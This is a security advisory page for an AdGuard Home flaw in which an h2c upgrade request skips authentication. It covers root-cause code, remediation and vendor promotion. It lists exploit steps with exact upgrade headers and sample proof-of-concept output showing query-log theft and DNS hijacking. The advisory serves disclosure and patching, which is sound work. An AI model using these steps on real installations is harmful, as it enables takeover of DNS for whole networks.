GHSA-5fg6-wrq4-w5gh
CRITICALAdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/AdguardTeam/AdGuardHomeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass
Severity: CRITICAL CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-287 (Improper Authentication) Component: internal/home/web.go Affected: AdGuardHome (tested on v0.107.72)
Summary
An unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.
Root Cause
In internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows: hdlr := h2c.NewHandler( withMiddlewares(web.conf.mux, limitRequestBody), // no auth &http2.Server{}, ) web.httpServer = &http.Server{ Handler: web.auth.middleware().Wrap(hdlr), // auth here }
The authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.
Proof of Concept
The PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.
Steps: 1. Open TCP connection to AdGuardHome (default port 3000). 2. Send HTTP/1.1 GET /control/login with headers: Upgrade: h2c Connection: Upgrade, HTTP2-Settings HTTP2-Settings: AAMAAABkAAQAAP__ 3. Server responds: 101 Switching Protocols. 4. Complete HTTP/2 handshake (client preface + SETTINGS exchange). 5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3. 6. Server responds: HTTP 200 with full JSON status payload.
Sample output (no username or password supplied): python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8 ==================================================================== AdGuardHome -- h2c Authentication Bypass PoC CWE-287: Full API access without credentials ==================================================================== Target : http://192.168.1.15:80 Upgrade : /control/login (whitelisted public path)
[*] Connecting and performing h2c upgrade ... [+] Bypass established -- authentication is not enforced
[*] GET /control/status [+] Version : v0.107.72 [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0'] [+] HTTP port : 80 [+] Protection : ON
[*] GET /control/querylog (DNS query history) [+] 10 recent entries: 2026-03-09T20:42:15 docker.home.andreko.net 192.168.1.232 2026-03-09T20:42:00 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:45 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:30 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:12 docker.home.andreko.net 192.168.1.232
[*] GET /control/dhcp/status (network device inventory) [+] Dynamic leases : 0 [+] Static leases : 0
[*] POST /control/dns_config (DNS -> 8.8.8.8) [+] Upstream DNS changed to 8.8.8.8 [+] All DNS queries now route through attacker-controlled server
The bypass gives full administrative API access, including: - Reading and modifying DNS configuration - Adding malicious filter lists - Disabling protection - Changing the admin password - Hijacking DNS resolution for all clients on the network
Remediation
Move the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol: authedMux := web.auth.middleware().Wrap( withMiddlewares(web.conf.mux, limitRequestBody), ) hdlr := h2c.NewHandler(authedMux, &http2.Server{}) web.httpServer = &http.Server{ Handler: hdlr, }
Alternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/AdguardTeam/AdGuardHome | all versions | 0.107.73 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/AdguardTeam/AdGuardHome. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/AdguardTeam/AdGuardHome to 0.107.73 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5fg6-wrq4-w5gh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5fg6-wrq4-w5gh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5fg6-wrq4-w5gh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5fg6-wrq4-w5gh in your dependencies?
O3 detects GHSA-5fg6-wrq4-w5gh across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.